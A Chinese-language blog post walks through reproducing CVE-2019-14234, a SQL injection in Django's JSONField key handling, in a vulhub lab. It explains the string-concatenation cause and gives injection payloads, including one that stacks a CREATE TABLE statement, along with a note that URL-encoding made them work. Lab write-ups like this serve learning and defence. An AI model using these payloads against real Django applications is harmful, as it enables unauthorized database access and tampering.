vulhub之CVE-2019-14234

今天试验的是一个SQL注入的漏洞。

该漏洞需要开发者使用了JSONField/HStoreField，且用户可控queryset查询时的键名，在键名的

位置注入SQL语句。

Django通常搭配postgresql数据库，而JSONField是该数据库的一种数据类型。该漏洞的出现的原

因在于Django中JSONField类的实现，Django的model最本质的作用是生成SQL语句，而在Django

通过JSONField生成sql语句时，是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。

其中key_name是可控的字符串，最终生成的语句是WHERE (field->’[key_name]’) =

‘value’，因此可以进行SQL注入。

漏洞原理如上，网上也一大把，可以自己搜。

1，vulhub启动靶场环境：

root@iZ2vc0sjyslprkjltvvnxbZ:/vulhub/django/CVE-2019-14234# docker-compose up -d

2，进行试验，直接到这个目录了：

http://47.109.84.159:8000/admin/vuln/collection/

collection/后面就是poc或者payload了。

3，先进行一个简单的试验试试：

http://*******:8000/admin/vuln/collection/?detail__a'b+-123

此时SQL语句是这样的：

​​​​​​​WHERE ("vuln_collection"."detail" -> 'a'b -123') =..

网上的那些poc太长了，无法看到完整的查询语句，我这个精简了一下，就可以理解这个过程了。

正常的应该是:

WHERE ("vuln_collection"."detail" -> 'a') = '"1"'

但是因为a是可控的，将a换成字符串：

title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--

那这个语句就变成了：

WHERE ("vuln_collection"."detail" -> 'title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--') = '"1"'

好了，分析完毕。

遇到的问题：

用detail__a'b=123进行注入：

WHERE ("vuln_collection"."detail" -> 'a'b') = '"123"'，

如上我感觉是注入失败了，因为查询语句成了正常的了，只是报语法错误而已。查询逻辑没变。

当将detail__a'b=123进行urlencode之后，为：detail__a%27b%3D123

用这个进行注入，结果：

WHERE ("vuln_collection"."detail" -> 'a'b=123')

可以看到，进行编码之后，才会注入成功。

这个问题困扰了我两天，今天才发现是编码的原因，但是没有进一步研究，有了解的小伙伴可以交流一下。